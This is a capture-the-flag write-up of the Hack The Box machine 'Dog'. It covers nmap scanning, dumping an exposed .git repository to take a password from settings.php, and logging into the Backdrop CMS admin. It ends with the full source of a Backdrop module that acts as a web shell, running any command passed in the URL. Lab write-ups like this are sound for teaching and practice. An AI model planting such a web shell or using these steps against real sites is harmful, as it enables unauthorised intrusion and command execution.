HTB Dog Writeup

3 minute read

Published: July 15, 2025

A writeup of the Hack The Box machine “Dog” with easy difficulty

HTB_Dog

Hi, welcome to this writeup of the Hack the Box machine Dog with easy difficulty.

nmap -sV -sC 10.10.11.58

Port 22 and 80 are open. On port 80 looks like a repository server.

The url for this repo is http://10.10.11.58/.git/ as we can see.

The nmap scan also showed us a bunch of directories from the robots.txt. Let’s go trough these and see if we cant find anything.

The site is a dog website btw:

There can be logged in at: http://10.10.11.58/?q=user/login

When changing the ?q=user to admin I get this:

So this does something.

Earlier i saw a log with the user in it: [email protected]

There is a strange encoded string in the http://10.10.11.58/.git/refs/heads/master 8204779c764abd4c9d8d95038b6d22b6a7515afa

While exploring the folders, I found that there is a settings.php page in the root folder. Entering this in the browser gives me a blank page.

Let’s try to download this file with git-dumper

pip install git-dumper

I got a permissions error in my python venv

sudo chown -R kali:kali /home/kali/HTB/Dog/dog

source /home/kali/HTB/Dog/dog/bin/activate pip install --upgrade pip setuptools wheel pip install git-dumper

Now we can use the git-dumper tool with:

git-dumper http://10.10.11.58/.git ~/dumped_repo

The folder /dumped_repo has to be already present

Now we can go into this dumped folder: cd ~/website

cat settings.php

BackDropJ2024DS2024

Now we have a password but we don’t know the user this belongs to

There can be a test user: test_username

Or backdrop found in the filetransfer.test with the password password

Or Tiffany in the database_test.txt file

Yes we are logged in.

There are more users:

There is a module upload functionality we can use to upload a malicious file to gain shell.

The structure of a Backdrop module is like this:

dogshell/ ├── dogshell.info └── dogshell.module

dogshell.info

name = DogShell
description = Backdoor shell access
type = module
backdrop = 1.x
package = Administration
version = 1.0

<?php
function dogshell_menu() {
  $items = array();
  $items['dogs'] = array(
    'title' => 'Dog Shell',
    'page callback' => 'dogs_eval',
    'access callback' => TRUE,
  );
  return $items;
}

function dogs_eval() {
  if (isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
  } else {
    echo "Use ?q=dogs&cmd=whoami";
  }
}
?>